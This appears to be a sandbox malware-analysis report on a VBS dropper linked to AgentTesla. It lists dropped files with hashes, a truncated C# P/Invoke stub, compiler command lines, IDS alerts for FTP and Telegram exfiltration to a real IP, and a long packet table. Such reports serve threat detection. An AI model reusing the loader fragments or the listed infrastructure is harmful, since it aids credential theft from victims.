SHA-512:	F4842683F2B44C5FE29A03CAC23BCE6358F2FFF9A4CD1232319591CB3A48834C95DC07DA3159584DE2AED4F0EBE9A7A517ED4676D38DC63B35BA405D5FA7BD19
Malicious:	false
Preview:	.using System;using System.Runtime.InteropServices;public static class Tueiron1 {[DllImport("user32")]public static extern int DestroyCaret();[DllImport("gdi32")]public static extern int ScaleWindowExtEx(int Drift,int Ambula,int Baso,int iagtta,int Vejmat158,int Mcgr);[DllImport("kernel32")]public static extern int HeapSize(int Prop,int Adres,int Tortri);[DllImport("shell32.dll")]public static extern void DragFinish(int Omdr);[DllImport("winmm.dll")]public static extern int mixerGetDevCaps(int Nitr,int Fel,int Afs93);[DllImport("kernel32")]public static extern int LockResource(int Lei);[DllImport("kernel32")]public static extern int VirtualAlloc(int v1,int v2,int v3,int v4);[DllImport("ADVAPI32.DLL")]public static extern void MapGenericMask(int Brink,int Midts);[DllImport("kernel32")]public static extern IntPtr EnumSystemLocalesW(uint v1,int v2);[DllImport("kernel32")]public static extern int SetThreadAffinityMask(int Rebuil,int Semis);[DllImport("user32")]public static extern int Se

C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.cmdline

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (368), with no line terminators
Category:	dropped
Size (bytes):	371
Entropy (8bit):	5.263514527807254
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2CN23fAzxs7+AEszICN23fyAn:p37Lvkmb6KmYWZE7V
MD5:	5782379115A5C7704ACCE3E9383AF816
SHA1:	60D28D5DDD965175CB39C6BB0DF5AC1A224BCEC0
SHA-256:	7604F449D890B1488ACFB0DDACABA6E1E24A51097835E4B47A35B507657EBD7B
SHA-512:	A5AC3636A13572513032E3AF1253FE244AD76950FD508A04C101E0C92C2A946B4E012E28D6805DA3AE41CDF131A6B03CA89A0ECD188AD2E47756CAAAD9D9FDA4
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.0.cs"

C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	3.0750833499217003
Encrypted:	false
SSDEEP:	48:6VJk5TZxiz1MDgQzufTbFukMAx7551ul6a3eq:OIWz1MDgVfTSACsK
MD5:	CA1B80C27B39A8FF11303A0A90CB8ACC
SHA1:	3558A01472147CD4D7509DDEFA51F9E4F437172B
SHA-256:	FFE5482B92E9206F567B6F96DB1FDE3117BE892D717769DF78197A52198486F6
SHA-512:	1DE5FE8955B5DD27C311423AC59E184B8823353AAC34BF90A0F66EC0BEDFB39D82C210F589505D1A806FDF152DD69D0FDB5BE8EEAB36EA19A5A628C40B08ED73
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....P.c...........!................^&... ...@....... ....................................@..................................&..W....@.......................`....................................................... ............... ..H............text...d.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................@&......H.......P ..............................................................BSJB............v4.0.30319......l...t...#~......@...#Strings.... .......#US.(.......#GUID...8...\|...#Blob...........G.........%3............................................................0.).....f.....f.......................................... 7............ D............ U............ ^............ i............ y.$.......... ..).......... ..1.......... ..7.......... ..=.......... ..)...................

C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.out

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (445), with CRLF, CR line terminators
Category:	modified
Size (bytes):	866
Entropy (8bit):	5.33012640290001
Encrypted:	false
SSDEEP:	12:xKqR37Lvkmb6KmYWZE7wKaxK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:Aqd3ka6KmpE7wKax5DqBVKVrdFAMBJTH
MD5:	419D835EDD086DBCD1FB8CAFE131A363
SHA1:	F02C01889D4EB029501F2842FED63BEE75A32AAC
SHA-256:	C95EF9EFF8E1F8076E9C103BD88E939445D3E45956155401AF076E08F81C1D24
SHA-512:	D56124B2E20DF3848BBB3B15C3C30B3F6D7019312D5D6E07ADDA6A6741C66BEF5B96DB38727021864D1AF1EE243024BDFD8735BAA98EBDF3292A4CEA7195BFC7
Malicious:	false
Preview:	.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\0j5ctfzr\CSC3A80B568F8BB4D66897E5CE811419E16.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.101934875256757
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryLAak7Ynqq2lPN5Dlq5J:+RI+ycuZhNpAakS2lPNnqX
MD5:	1A68EE12BE04A630C8BF56D4F7473ED0
SHA1:	ED9048C3B8B4013A63E612FF08CD59512E49A3FD
SHA-256:	B37612CBD66EF7BDD73717ADB5C978216B44420DED73796AD570D0FE6DD8D24D
SHA-512:	F03CD19608B470B8AF2154A212BC6A5E75AFB7C0C0975AE0E2A28A33BE0E721F60B0491FFDBC23568F9B5A2D9C2DC7E9E4A7850D9908C6AD437942AEAD83AFF5
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...0.j.5.c.t.f.z.r...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...0.j.5.c.t.f.z.r...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\RES7743.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48e, 9 symbols, created Tue Nov 29 18:34:00 2022, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1332
Entropy (8bit):	4.001985755678852
Encrypted:	false
SSDEEP:	24:H9zW9Y89G/8qH9QwKPfwI+ycuZhNpAakS2lPNnqS2d:xiG/8qFKPo1ul6a3eqSG
MD5:	F4BF383029179F79AE0437C25B9B88AC
SHA1:	51A35E88821784CBC14768F2F96D9A4AFD88DDB0
SHA-256:	CD999401D357C7AB4F043A403294A91E994DA74376E032E0CD0A5F9DD8618A91
SHA-512:	8973B94881E0E57C1D2868DFE1965988072C9796077DDE07E685F59F534CA60CC3F72C60859F40177EDC879EB0C55016CD43BA779A972C639E75FFD19FCDA68A
Malicious:	false
Preview:	L....P.c.............debug$S........P...................@..B.rsrc$01........X.......4...........@..@.rsrc$02........P...>...............@..@........U....c:\Users\user\AppData\Local\Temp\0j5ctfzr\CSC3A80B568F8BB4D66897E5CE811419E16.TMP...................h.....0.V..G>...........5.......C:\Users\user\AppData\Local\Temp\RES7743.tmp.-.<....................a..Microsoft (R) CVTRES.Y.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe.................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...0.j.5.c.t.f.z.r...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1ch5v15x.nhz.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_casrbuj4.tcb.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

\Device\ConDrv

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	30
Entropy (8bit):	3.964735178725505
Encrypted:	false
SSDEEP:	3:IBVFBWAGRHneyy:ITqAGRHner
MD5:	9F754B47B351EF0FC32527B541420595
SHA1:	006C66220B33E98C725B73495FE97B3291CE14D9
SHA-256:	0219D77348D2F0510025E188D4EA84A8E73F856DEB5E0878D673079D05840591
SHA-512:	C6996379BCB774CE27EEEC0F173CBACC70CA02F3A773DD879E3A42DA554535A94A9C13308D14E873C71A338105804AFFF32302558111EE880BA0C41747A08532
Malicious:	false
Preview:	NordVPN directory not found!..

Static File Info

General

File type:	ASCII text, with CRLF line terminators
Entropy (8bit):	5.836608054626225
TrID:
File name:	SIEM_PO00938467648.vbs
File size:	350795
MD5:	633811bccf3fe62978ce41a04b653083
SHA1:	bc81307b5c229094617e7cb8cdcaec55eaddad36
SHA256:	b5e4225737f935940fa23989440d5ea2c123c8affde25d6d7224e2b4abab5608
SHA512:	ade8c018c14b2c9de5df6c9c82130c309fd85084137d6e919c42b6fe7abb5ffde356f2d951f33ec3355df88f7134d51f66121afa3c7ca9f7bac047e0b73d0fa7
SSDEEP:	6144:J8YNxYPOwuvNR5vwfZKU2fU/5Mhc1gXcSGN+DieVwzjb6HZIKK:uijvPFWNEClgsSgpeVf6KK
TLSH:	AB74AE5DDA28DACD4F4E2F4ADC821A47C4654623D02614F9EEB5CB8E11C2ECDCE293D8
File Content Preview:	..'zephyrian stratagem Wigwamerne177 Alcoholisable53 PROMISINGLY ..'ACETAMID GRANULARITY Mandatet torteaus TANGFORLSENDES ALTOCUMULUS Jambarts ..'Gein187 garglers Goslet Afblsnings ENEHERREDMMERS UNDSEELIGHED TUSSENS Mrtelvrkets139 HOG besvrger stellularl

File Icon


Icon Hash:	e8d69ece869a9ec4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.11.20185.31.121.13649858212029927 11/29/22-18:34:46.981738	TCP	2029927	ET TROJAN AgentTesla Exfil via FTP	49858	21	192.168.11.20	185.31.121.136
192.168.11.20185.31.121.13649859597722851779 11/29/22-18:34:47.016884	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	49859	59772	192.168.11.20	185.31.121.136

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 29, 2022 18:34:32.485622883 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.643971920 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.644260883 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.644968033 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.803817987 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.811785936 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.811892033 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.811969995 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.812026024 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.812066078 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.812089920 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.812160969 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.812189102 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.812239885 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.812350035 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.812367916 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.812485933 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.812511921 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.812616110 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.812714100 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.812730074 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.812760115 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.812860012 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.812885046 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.813046932 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.972552061 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.972625971 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.972683907 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.972731113 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.972739935 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.972795963 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.972850084 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.972904921 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.972935915 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.972959995 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.972985983 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.973016024 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.973071098 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.973079920 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.973128080 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.973129988 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.973186970 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.973242044 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.973279953 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.973279953 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.973297119 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.973351002 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.973404884 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.973449945 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.973450899 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.973458052 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.973512888 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.973567009 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.973622084 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:32.973622084 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.973622084 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.973680973 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:32.973787069 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.132894039 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.133204937 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.133220911 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.133277893 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.133336067 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.133358955 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.133390903 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.133446932 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.133482933 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.133502960 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.133537054 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.133558989 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.133598089 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.133615017 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.133670092 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.133670092 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.133724928 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.133779049 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.133816004 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.133836031 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.133863926 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.133893013 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.133940935 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.133949041 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.134004116 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.134027004 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.134131908 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.134130955 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.134191990 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.134228945 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.134293079 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.134320974 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.134391069 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.134413004 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.134505033 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.134548903 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.134601116 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.134617090 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.134665012 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.134697914 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.134793997 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.134891033 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.134897947 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.134943962 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.134982109 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.135040998 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.135051012 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.135096073 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.135152102 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.135210037 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.135243893 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.135243893 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.135267019 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.135322094 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.135375977 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.135412931 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.135412931 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.135431051 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.135487080 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.135540962 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.135586023 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.135586977 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.135596037 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.135651112 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.135694027 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.135705948 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.135742903 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.135761976 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.135848045 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.135910988 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.296611071 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.296694040 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.296761990 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.296818972 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.296874046 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.296927929 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.296982050 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.297039986 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.297087908 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.297096014 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.297152042 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.297208071 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.297255039 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.297262907 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.297324896 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.297334909 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.297380924 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.297384977 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.297437906 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.297493935 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.297496080 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.297549963 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.297568083 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.297605991 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.297660112 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.297709942 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.297715902 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.297760010 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.297771931 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.297827959 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.297830105 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.297883034 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.297938108 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.297955036 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.297991991 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.298034906 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.298048019 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.298101902 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.298104048 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.298156977 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.298161030 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.298213005 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.298266888 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.298300028 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.298321962 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.298377037 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.298427105 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.298430920 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.298428059 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.298486948 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.298542976 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.298597097 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.298605919 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.298607111 CET	49855	80	192.168.11.20	162.240.62.179
